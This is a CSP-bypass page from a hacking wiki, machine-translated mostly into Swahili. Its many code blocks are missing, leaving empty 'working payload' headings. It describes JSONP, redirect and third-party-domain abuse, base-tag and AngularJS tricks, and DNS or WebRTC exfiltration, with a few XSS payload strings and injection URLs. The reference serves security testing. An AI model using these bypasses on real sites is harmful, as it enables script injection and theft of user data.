Content Security Policy (CSP) Bypass
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Content Security Policy (CSP) inatambulika kama teknolojia ya kivinjari, hasa inalenga kulinda dhidi ya mashambulizi kama vile cross-site scripting (XSS). Inafanya kazi kwa kufafanua na kuelezea njia na vyanzo ambavyo rasilimali zinaweza kupakuliwa kwa usalama na kivinjari. Rasilimali hizi zinajumuisha vipengele mbalimbali kama picha, fremu, na JavaScript. Kwa mfano, sera inaweza kuruhusu upakuaji na utekelezaji wa rasilimali kutoka kwa eneo moja (mwenyewe), ikiwa ni pamoja na rasilimali za ndani na utekelezaji wa msimbo wa mfuatano kupitia kazi kama eval, setTimeout, au setInterval.
Utekelezaji wa CSP unafanywa kupitia vichwa vya majibu au kwa kuingiza vipengele vya meta kwenye ukurasa wa HTML. Kufuatia sera hii, vivinjari vinatekeleza kwa nguvu masharti haya na mara moja kuzuia uvunjaji wowote ulio gundulika.
Implemented via response header:
Imewekwa kupitia meta tag:
CSP inaweza kulazimishwa au kufuatiliwa kwa kutumia vichwa hivi:
Content-Security-Policy: Inalazimisha CSP; kivinjari kinazuia ukiukaji wowote.
Content-Security-Policy-Report-Only: Inatumika kwa ajili ya kufuatilia; inaripoti ukiukaji bila kuzuia. Inafaa kwa majaribio katika mazingira ya kabla ya uzalishaji.
CSP inazuia vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti mambo kama utekelezaji wa JavaScript wa ndani na matumizi ya eval(). Sera mfano ni:
script-src: Inaruhusu vyanzo maalum vya JavaScript, ikiwa ni pamoja na URLs, scripts za ndani, na scripts zinazotolewa na wakala wa matukio au mitindo ya XSLT.
default-src: Inaweka sera ya kawaida ya kupata rasilimali wakati maagizo maalum ya upataji hayapo.
child-src: Inaelezea rasilimali zinazoruhusiwa kwa wafanyakazi wa wavuti na maudhui ya fremu zilizojumuishwa.
connect-src: Inapunguza URLs ambazo zinaweza kupakuliwa kwa kutumia interfaces kama fetch, WebSocket, XMLHttpRequest.
frame-src: Inapunguza URLs za fremu.
frame-ancestors: Inaelezea vyanzo gani vinaweza kuingiza ukurasa wa sasa, inatumika kwa vipengele kama <frame>, <iframe>, <object>, <embed>, na <applet>.
img-src: Inaelezea vyanzo vinavyoruhusiwa kwa picha.
font-src: Inaelezea vyanzo halali kwa fonts zinazopakiwa kwa kutumia @font-face.
manifest-src: Inaelezea vyanzo vinavyoruhusiwa vya faili za manifest ya programu.
media-src: Inaelezea vyanzo vinavyoruhusiwa kwa kupakia vitu vya media.
object-src: Inaelezea vyanzo vinavyoruhusiwa kwa vipengele vya <object>, <embed>, na <applet>.
base-uri: Inaelezea URLs zinazoruhusiwa kwa kupakia kwa kutumia vipengele vya <base>.
form-action: Inataja maeneo halali kwa ajili ya kuwasilisha fomu.
plugin-types: Inapunguza aina za mime ambazo ukurasa unaweza kuita.
upgrade-insecure-requests: Inawaagiza vivinjari kuandika upya URLs za HTTP kuwa HTTPS.
sandbox: Inatumika vizuizi vinavyofanana na sifa ya sandbox ya <iframe>.
report-to: Inaelezea kundi ambalo ripoti itatumwa ikiwa sera itavunjwa.
worker-src: Inaelezea vyanzo halali kwa scripts za Worker, SharedWorker, au ServiceWorker.
prefetch-src: Inaelezea vyanzo halali kwa rasilimali ambazo zitapata au zitapakiwa mapema.
navigate-to: Inapunguza URLs ambazo hati inaweza kuhamia kwa njia yoyote (a, fomu, window.location, window.open, nk.)
*: Inaruhusu URLs zote isipokuwa zile zenye mipango ya data:, blob:, filesystem:.
'self': Inaruhusu kupakia kutoka kwenye kikoa sawa.
'data': Inaruhusu rasilimali kupakiwa kupitia mpango wa data (mfano, picha zilizokodishwa kwa Base64).
'none': Inazuia kupakia kutoka chanzo chochote.
'unsafe-eval': Inaruhusu matumizi ya eval() na mbinu zinazofanana, haipendekezwi kwa sababu za usalama.
'unsafe-hashes': Inaruhusu wakala maalum wa matukio ya ndani.
'unsafe-inline': Inaruhusu matumizi ya rasilimali za ndani kama <script> au <style> za ndani, haipendekezwi kwa sababu za usalama.
'nonce': Orodha ya kibali kwa scripts maalum za ndani zinazotumia nonce ya kijasusi (nambari inayotumika mara moja).
Ikiwa una utekelezaji wa JS ulio na mipaka, inawezekana kupata nonce iliyotumika ndani ya ukurasa kwa doc.defaultView.top.document.querySelector("[nonce]") na kisha kuirudisha ili kupakia script mbaya (ikiwa strict-dynamic inatumika, chanzo chochote kilichoruhusiwa kinaweza kupakia vyanzo vipya hivyo hii haitahitajika), kama ilivyo katika:
'sha256-<hash>': Inaruhusu skripti zenye hash maalum ya sha256.
'strict-dynamic': Inaruhusu kupakia skripti kutoka chanzo chochote ikiwa kimeorodheshwa na nonce au hash.
'host': Inaelezea mwenyeji maalum, kama example.com.
https:: Inapunguza URL kwa zile zinazotumia HTTPS.
blob:: Inaruhusu rasilimali kupakiwa kutoka Blob URLs (mfano, Blob URLs zilizoumbwa kupitia JavaScript).
filesystem:: Inaruhusu rasilimali kupakiwa kutoka kwenye mfumo wa faili.
'report-sample': Inajumuisha sampuli ya msimbo unaovunja sheria katika ripoti ya uvunjaji (inafaa kwa urekebishaji).
'strict-origin': Inafanana na 'self' lakini inahakikisha kiwango cha usalama wa itifaki ya vyanzo kinalingana na hati (vyanzo salama pekee vinaweza kupakia rasilimali kutoka vyanzo salama).
'strict-origin-when-cross-origin': Inatuma URL kamili wakati wa kufanya maombi ya asili moja lakini inatuma asili pekee wakati ombi ni la kuvuka asili.
'unsafe-allow-redirects': Inaruhusu rasilimali kupakiwa ambazo zitarudisha mara moja kwa rasilimali nyingine. Haipendekezwi kwani inadhuru usalama.
Working payload: "/><script>alert(1);</script>
Hii haifanyi kazi, kwa maelezo zaidi angalia hii.
Kazi ya payload:
Ikiwa unaweza kwa namna fulani kufanya kodiyako ya JS inayoruhusiwa kuunda tagi mpya ya script katika DOM na kodiyako ya JS, kwa sababu script inayoruhusiwa inaiunda, tagi mpya ya script itaruhusiwa kutekelezwa.
Kazi ya payload:
Inaonekana kama hii haifanyi kazi tena
Inatumiwa payloads:
Ikiwa unaweza kupakia faili la JS unaweza kupita CSP hii:
Working payload:
Hata hivyo, kuna uwezekano mkubwa kwamba seva inafanya uthibitishaji wa faili iliyopakiwa na itaruhusu tu kupakia aina fulani za faili.
Zaidi ya hayo, hata kama ungeweza kupakia kodii ya JS ndani ya faili kwa kutumia kiambatisho kinachokubalika na seva (kama: script.png) hii haitakuwa ya kutosha kwa sababu baadhi ya seva kama seva ya apache huchagua aina ya MIME ya faili kulingana na kiambatisho na vivinjari kama Chrome vitakataa kutekeleza kodii ya Javascript ndani ya kitu ambacho kinapaswa kuwa picha. "Tuna matumaini", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba Apache hajui kiambatisho .wave, kwa hivyo haikihudumu na aina ya MIME kama audio/*.
Kutoka hapa, ikiwa unapata XSS na upakiaji wa faili, na unafanikiwa kupata kiambatisho kilichokosewa, unaweza kujaribu kupakia faili yenye kiambatisho hicho na Maudhui ya skripti. Au, ikiwa seva inakagua muundo sahihi wa faili iliyopakiwa, tengeneza polyglot (mfano kadhaa za polyglot hapa).
Ikiwa haiwezekani kuingiza JS, bado unaweza kujaribu kutoa kwa mfano akidi kwa kuingiza hatua ya fomu (na labda kutarajia wasimamizi wa nywila kujaza nywila kiotomatiki). Unaweza kupata mfano katika ripoti hii. Pia, zingatia kwamba default-src haijumuishi hatua za fomu.
Kwa baadhi ya payload zifuatazo unsafe-eval hata haitahitajika.
Pakia toleo lenye udhaifu la angular na tekeleza JS isiyo na mipaka:
window object (check out this post):Post hii inaonyesha kwamba unaweza kupakia maktaba zote kutoka cdn.cloudflare.com (au repo nyingine yoyote ya maktaba za JS zilizoruhusiwa), kutekeleza kazi zote zilizoongezwa kutoka kila maktaba, na kuangalia ni kazi zipi kutoka maktaba zipi zinazorudisha kipande cha window.
Angular XSS kutoka kwa jina la darasa:
Kulingana na hii CTF writeup unaweza kutumia vibaya https://www.google.com/recaptcha/ ndani ya CSP ili kutekeleza msimbo wa JS wa kiholela ukipita CSP:
Zaidi ya payloads kutoka kwa andiko hili:
URL ifuatayo inaelekeza kwa example.com (kutoka hapa):
Abusing *.google.com/script.google.com
Inawezekana kutumia Google Apps Script kupokea taarifa katika ukurasa ndani ya script.google.com. Kama inavyofanywa katika ripoti hii.
Mifano kama hii ambapo script-src imewekwa kuwa self na kikoa maalum ambacho kimeorodheshwa kinaweza kupuuziliwa mbali kwa kutumia JSONP. JSONP endpoints huruhusu mbinu zisizo salama za callback ambazo zinamruhusu mshambuliaji kutekeleza XSS, mzigo unaofanya kazi:
JSONBee ina viwango vya JSONP vilivyotayarishwa kwa matumizi ya CSP bypass ya tovuti tofauti.
Uthibitisho sawa utaonekana ikiwa kiwango kinachotegemewa kina Open Redirect kwa sababu ikiwa kiwango cha awali kinatambulika, redirects zinatambulika.
Kama ilivyoelezwa katika post ifuatayo, kuna maeneo mengi ya viongozi wa nje, ambayo yanaweza kuruhusiwa mahali fulani katika CSP, yanaweza kutumika vibaya ili kuhamasisha data au kutekeleza msimbo wa JavaScript. Baadhi ya viongozi hawa wa nje ni:
| Kitu | Domain Iliyoruhusiwa | Uwezo |
|---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
Ikiwa utapata yoyote ya maeneo yaliyoruhusiwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuweza kupita CSP kwa kujiandikisha kwenye huduma ya viongozi wa nje na, ama kuhamasisha data kwa huduma hiyo au kutekeleza msimbo.
Kwa mfano, ikiwa utapata CSP ifuatayo:
au
Unapaswa kuwa na uwezo wa kuhamasisha data, kama ilivyokuwa kila wakati na Google Analytics/Google Tag Manager. Katika kesi hii, unafuata hatua hizi za jumla:
Unda akaunti ya Mende wa Facebook hapa.
Unda programu mpya ya "Facebook Login" na uchague "Tovuti".
Nenda kwenye "Mipangilio -> Msingi" na pata "App ID" yako.
Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja gadget ya Facebook SDK "fbq" kupitia "customEvent" na mzigo wa data.
Nenda kwenye "Event Manager" ya programu yako na uchague programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana katika URL kama hii: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
Chagua kichupo "Test Events" ili kuona matukio yanayotumwa na "tovuti yako".
Kisha, upande wa mwathirika, unatekeleza msimbo ufuatao kuanzisha pixel ya ufuatiliaji wa Facebook ili kuelekeza kwenye app-id ya akaunti ya mende ya mshambuliaji na kutoa tukio maalum kama hili:
Kuhusu majukwaa mengine saba ya tatu yaliyoainishwa katika jedwali lililotangulia, kuna njia nyingi nyingine ambazo unaweza kuzitumia vibaya. Angalia blog post iliyotangulia kwa maelezo zaidi kuhusu matumizi mabaya ya wengine wa tatu.
Mbali na kuelekeza hapo juu ili kupita vizuizi vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) ambayo inaweza kutumika kwenye baadhi ya seva.
Kwa mfano, ikiwa CSP inaruhusu njia https://example.com/scripts/react/, inaweza kupitishwa kama ifuatavyo:
The browser will ultimately load https://example.com/scripts/angular/angular.js.
Hii inafanya kazi kwa sababu kwa kivinjari, unaload faili inayoitwa ..%2fangular%2fangular.js iliyoko chini ya https://example.com/scripts/react/, ambayo inakubaliana na CSP.
∑, wataifungua, kwa ufanisi wakitafuta https://example.com/scripts/react/../angular/angular.js, ambayo ni sawa na https://example.com/scripts/angular/angular.js.
Kwa kutumia ukosefu huu wa uwiano katika tafsiri ya URL kati ya kivinjari na seva, sheria za njia zinaweza kupuuziliwa mbali.
Suluhisho ni kutotreat %2f kama / upande wa seva, kuhakikisha tafsiri inayofanana kati ya kivinjari na seva ili kuepuka tatizo hili.
Online Example: https://jsbin.com/werevijewa/edit?html,output
Ikiwa base-uri directive inakosekana unaweza kuitumia vibaya ili kufanya dangling markup injection.
Zaidi ya hayo, ikiwa ukurasa unaload script kwa kutumia njia ya kulinganisha (kama <script src="/js/app.js">) kwa kutumia Nonce, unaweza kuitumia base tag ili kufanya iwe load script kutoka seva yako mwenyewe kufikia XSS.
Ikiwa ukurasa ulio hatarini unaloaded na httpS, tumia url ya httpS katika base.
Sera maalum inayojulikana kama Content Security Policy (CSP) inaweza kuzuia matukio ya JavaScript. Hata hivyo, AngularJS inatoa matukio ya kawaida kama mbadala. Ndani ya tukio, AngularJS inatoa kitu cha kipekee $event, kinachorejelea kitu asilia cha tukio la kivinjari. Kitu hiki cha $event kinaweza kutumika kukwepa CSP. Kwa kuzingatia, katika Chrome, kitu cha $event/event kina sifa ya path, ikishikilia orodha ya vitu vilivyohusishwa na mchakato wa utekelezaji wa tukio, ambapo kitu cha window kipo daima mwishoni. Muundo huu ni muhimu kwa mbinu za kutoroka kwenye sandbox.
Kwa kuelekeza orodha hii kwa kichujio cha orderBy, inawezekana kuipitia, ikitumia kipengele cha mwisho (kitu cha window) kuanzisha kazi ya kimataifa kama alert(). Kipande cha msimbo kilichoonyeshwa hapa chini kinaelezea mchakato huu:
Hii sehemu inaonyesha matumizi ya ng-focus directive ili kuanzisha tukio, ikitumia $event.path|orderBy kubadilisha array ya path, na kutumia kituo cha window kutekeleza kazi ya alert(), hivyo kufichua document.cookie.
Pata bypass nyingine za Angular katika https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
Sera ya CSP inayoruhusu majina ya kikoa kwa ajili ya upakiaji wa script katika programu ya Angular JS inaweza kupuuziliwa mbali kupitia mwito wa kazi za kurudi na baadhi ya madarasa yenye udhaifu. Taarifa zaidi kuhusu mbinu hii inaweza kupatikana katika mwongozo wa kina ulio kwenye hifadhi hii ya git.
Payloads zinazofanya kazi:
Other JSONP arbitrary execution endpoints can be found in here (baadhi yao ziliondolewa au kurekebishwa)
Nini kinatokea wakati CSP inakutana na uelekezaji wa upande wa seva? Ikiwa uelekezaji unapelekea kwenye asili tofauti ambayo haikuruhusiwa, bado itashindwa.
Hata hivyo, kulingana na maelezo katika CSP spec 4.2.2.3. Paths and Redirects, ikiwa uelekezaji unapelekea kwenye njia tofauti, inaweza kupita vizuizi vya awali.
Hapa kuna mfano:
Ikiwa CSP imewekwa kwa https://www.google.com/a/b/c/d, kwa kuwa njia inachukuliwa, skripti zote za /test na /a/test zitazuiliwa na CSP.
Hata hivyo, http://localhost:5555/301 ya mwisho itakuwa imeelekezwa upande wa seva kwa https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Kwa kuwa ni kuelekezwa, njia haitachukuliwa, na skripti inaweza kupakiwa, hivyo kuzunguka kikomo cha njia.
Kwa kuelekezwa huku, hata kama njia imeelezwa kikamilifu, bado itazuiliwa.
Kwa hivyo, suluhisho bora ni kuhakikisha kwamba tovuti haina udhaifu wowote wa kuelekeza wazi na kwamba hakuna maeneo ambayo yanaweza kutumika katika sheria za CSP.
Soma jinsi hapa.
'unsafe-inline' inamaanisha kwamba unaweza kutekeleza script yoyote ndani ya msimbo (XSS inaweza kutekeleza msimbo) na img-src * inamaanisha kwamba unaweza kutumia picha yoyote kutoka kwa rasilimali yoyote kwenye ukurasa wa wavuti.
Unaweza kupita CSP hii kwa kutolewa kwa data kupitia picha (katika tukio hili XSS inatumia CSRF ambapo ukurasa unaopatikana na bot una SQLi, na kutoa bendera kupitia picha):
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Unaweza pia kutumia usanidi huu kupakia msimbo wa javascript ulioingizwa ndani ya picha. Ikiwa kwa mfano, ukurasa unaruhusu kupakia picha kutoka Twitter. Unaweza kuunda picha maalum, kuipakia kwenye Twitter na kutumia "unsafe-inline" kutekeleza msimbo wa JS (kama XSS ya kawaida) ambayo it pakia picha, itoa JS kutoka kwake na itekeleze hiyo: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Kazi za wafanyakazi wa huduma importScripts hazipunguzwi na CSP:
Utafiti: https://portswigger.net/research/bypassing-csp-with-policy-injection
Ikiwa parameta iliyotumwa na wewe inakua imebandikwa ndani ya tangazo la sera, basi unaweza kubadilisha sera kwa njia fulani ambayo inafanya iwe haina maana. Unaweza kuruhusu skripti 'unsafe-inline' na yoyote ya hizi bypasses:
Kwa sababu hii itaandika upya maagizo ya script-src. Unaweza kupata mfano hapa: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Katika Edge ni rahisi zaidi. Ikiwa unaweza kuongeza katika CSP tu hii: ;_ Edge it afuta sera nzima.
Mfano: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
Tazama ukosefu wa agizo 'unsafe-inline'
Wakati huu unaweza kumfanya mwathirika pakuza ukurasa katika udhibiti wako kupitia XSS na <iframe. Wakati huu unakwenda kumfanya mwathirika aingie kwenye ukurasa ambao unataka kutoa taarifa (CSRF). Huwezi kufikia maudhui ya ukurasa, lakini ikiwa kwa namna fulani unaweza kudhibiti wakati ambao ukurasa unahitaji kupakia unaweza kutoa taarifa unazohitaji.
Wakati huu bendera itatoa, kila wakati herufi inakisiwa kwa usahihi kupitia SQLi jibu linachukua muda zaidi kutokana na kazi ya kulala. Kisha, utaweza kutoa bendera:
Shambulio hili litahitaji uhandisi wa kijamii ambapo mshambuliaji anawashawishi watumiaji kuburuta na kuacha kiungo juu ya bookmarklet ya kivinjari. Bookmarklet hii itakuwa na kodhi mbaya ya javascript ambayo itatekelezwa katika muktadha wa dirisha la wavuti la sasa, ikiepuka CSP na kuruhusu kuiba taarifa nyeti kama vile vidakuzi au tokeni.
Kwa maelezo zaidi angalia ripoti ya asili hapa.
Katika hii CTF writeup, CSP inakabiliwa kwa kuingiza ndani ya iframe inayoruhusiwa CSP yenye vizuizi zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia prototype pollution au dom clobbering iliruhusu kudhulumu skripti tofauti ili kupakia skripti isiyo na mpangilio.
Unaweza kuzuia CSP ya Iframe kwa kutumia csp sifa:
Katika hii CTF writeup, ilikuwa inawezekana kupitia HTML injection kuzuia zaidi CSP hivyo script inayozuia CSTI ilizuiliwa na kwa hivyo udhaifu ukawa unatumika. CSP inaweza kufanywa kuwa na vizuizi zaidi kwa kutumia HTML meta tags na scripts za ndani zinaweza kuzuiliwa kuondoa kuingia zinazoruhusu nonce zao na kuwezesha script maalum za ndani kupitia sha:
Ikiwa unaweza kusimamia kufanya seva ijibu na kichwa Content-Security-Policy-Report-Only chenye thamani inayodhibitiwa na wewe (labda kwa sababu ya CRLF), unaweza kufanya iashirie seva yako na ikiwa un fungia maudhui ya JS unayotaka kuhamasisha na <script> na kwa sababu kuna uwezekano mkubwa unsafe-inline hairuhusiwi na CSP, hii itasababisha kosa la CSP na sehemu ya script (iliyokuwa na taarifa nyeti) itatumwa kwa seva kutoka Content-Security-Policy-Report-Only.
Kwa mfano angalia hii CTF writeup.
An iframe is created that points to a URL (let's call it https://example.redirect.com) which is permitted by CSP.
This URL then redirects to a secret URL (e.g., https://usersecret.example2.com) that is not allowed by CSP.
By listening to the securitypolicyviolation event, one can capture the blockedURI property. This property reveals the domain of the blocked URI, leaking the secret domain to which the initial URL redirected.
Ni muhimu kutambua kwamba vivinjari kama Chrome na Firefox vina tabia tofauti katika kushughulikia iframes kuhusiana na CSP, na kusababisha uvujaji wa habari nyeti kutokana na tabia isiyoeleweka.
Mbinu nyingine inahusisha kutumia CSP yenyewe ili kubaini subdomain ya siri. Njia hii inategemea algorithm ya kutafuta binary na kurekebisha CSP ili kujumuisha maeneo maalum ambayo yamezuiliwa kwa makusudi. Kwa mfano, ikiwa subdomain ya siri ina wahusika wasiojulikana, unaweza kujaribu subdomains tofauti kwa kubadilisha mwelekeo wa CSP ili kuzuia au kuruhusu subdomains hizi. Hapa kuna kipande kinachoonyesha jinsi CSP inaweza kuwekwa ili kuwezesha njia hii:
Kwa kufuatilia ni maombi gani yanayozuiwa au kuruhusiwa na CSP, mtu anaweza kupunguza wahusika wanaowezekana katika subdomain ya siri, hatimaye kufichua URL kamili.
Mbinu zote mbili zinatumia tofauti za utekelezaji wa CSP na tabia katika vivinjari, zikionyesha jinsi sera zinazodhaniwa kuwa salama zinaweza kwa bahati mbaya kufichua taarifa nyeti.
Trick kutoka hapa.
Jiunge na HackenProof Discord server ili kuwasiliana na hackers wenye uzoefu na wawindaji wa bug bounty!
Uelewa wa Udukuzi Shiriki na maudhui yanayochunguza msisimko na changamoto za udukuzi
Habari za Udukuzi za Wakati Halisi Baki na habari za kisasa katika ulimwengu wa udukuzi kupitia habari na uelewa wa wakati halisi
Matangazo ya Karibuni Baki na taarifa kuhusu bug bounties mpya zinazozinduliwa na sasisho muhimu za jukwaa
Jiunge nasi kwenye Discord na uanze kushirikiana na hackers bora leo!
Kulingana na mbinu ya mwisho iliyozungumziwa katika video hii, kutuma param nyingi (1001 GET parameters ingawa unaweza pia kufanya hivyo na POST params na zaidi ya faili 20). header() yoyote iliyofafanuliwa katika msimbo wa wavuti wa PHP haitatumwa kwa sababu ya kosa ambalo hili litazalisha.
PHP inajulikana kwa kufanya buffering ya majibu hadi 4096 bytes kwa default. Hivyo, ikiwa PHP inaonyesha onyo, kwa kutoa data ya kutosha ndani ya onyo, majibu yatatumwa kabla ya CSP header, na kusababisha header ipuuzwe. Kisha, mbinu inajumuisha kimsingi kujaza buffer ya majibu na onyo ili CSP header isitumwe.
Wazo kutoka hiki andiko.
Kutoka hiki andiko inaonekana kama ilikuwa inawezekana kupita ulinzi wa CSP kwa kupakia ukurasa wa kosa (labda bila CSP) na kuandika upya maudhui yake.
SOME ni mbinu inayotumia XSS (au XSS iliyo na mipaka sana) katika kiungo cha ukurasa ili kutumia viungo vingine vya asili moja. Hii inafanywa kwa kupakia kiungo kilichoharibika kutoka kwenye ukurasa wa mshambuliaji na kisha kuimarisha ukurasa wa mshambuliaji kwa kiungo halisi katika asili moja unayotaka kutumia. Kwa njia hii, kiungo kilichoharibika kinaweza kutumia opener kitu katika payload ili kufikia DOM ya kiungo halisi cha kutumia. Kwa maelezo zaidi angalia:
Zaidi ya hayo, wordpress ina JSONP kiungo katika /wp-json/wp/v2/users/1?_jsonp=data ambacho kita reflekta data iliyotumwa katika matokeo (ikiwa na mipaka ya herufi, nambari na nukta pekee).
Mshambuliaji anaweza kutumia kiungo hicho ili kuunda shambulio la SOME dhidi ya WordPress na kuingiza ndani ya <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> kumbuka kwamba script hii itakuwa imepakiwa kwa sababu inaruhusiwa na 'self'. Zaidi ya hayo, na kwa sababu WordPress imewekwa, mshambuliaji anaweza kutumia shambulio la SOME kupitia kiungo kilichoharibika callback ambacho kinapita CSP ili kutoa ruhusa zaidi kwa mtumiaji, kusakinisha plugin mpya...
Kwa maelezo zaidi kuhusu jinsi ya kutekeleza shambulio hili angalia https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
Ikiwa kuna CSP kali ambayo haitakuruhusu kuingiliana na seva za nje, kuna mambo kadhaa unaweza kufanya kila wakati ili kuhamasisha taarifa.
Unaweza tu kuboresha eneo la kutuma kwa seva ya mshambuliaji taarifa ya siri:
Unaweza kuelekeza kwa kuingiza meta tag (hii ni kuelekeza tu, hii haitavuja maudhui)
Ili kupakia kurasa kwa haraka, vivinjari vitakuwa vinatatua majina ya mwenyeji kuwa anwani za IP na kuyahifadhi kwa matumizi ya baadaye.
Unaweza kuashiria kivinjari kutatua jina la mwenyeji mapema kwa: <link rel="dns-prefetch" href="something.com">
Unaweza kutumia tabia hii vibaya ili kuondoa taarifa nyeti kupitia maombi ya DNS:
Njia nyingine:
Ili kuepuka hili kutokea, seva inaweza kutuma kichwa cha HTTP:
Kwa kweli, mbinu hii haitumiki katika vivinjari visivyo na kichwa (bots)
Katika kurasa kadhaa unaweza kusoma kwamba WebRTC haiangalii sera ya connect-src ya CSP.
Kwa kweli unaweza leak taarifa kwa kutumia ombio la DNS. Angalia hii code:
Nyingine chaguo:
https://csper.io/docs/generating-content-security-policy
Jiunge na HackenProof Discord server kuwasiliana na hackers wenye uzoefu na wawindaji wa bug bounty!
Maoni ya Udukuzi Shiriki na maudhui yanayoangazia msisimko na changamoto za udukuzi
Habari za Udukuzi Wakati Halisi Endelea kuwa na habari kuhusu ulimwengu wa udukuzi kwa kupitia habari na maoni ya wakati halisi
Matangazo Mapya Baki na habari kuhusu bug bounties mpya zinazozinduliwa na masasisho muhimu ya jukwaa
Jiunge nasi kwenye Discord na uanze kushirikiana na hackers bora leo!
```html ```
Jifunze na fanya mazoezi ya Udukuzi wa AWS:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya Udukuzi wa GCP: HackTricks Training GCP Red Team Expert (GRTE)
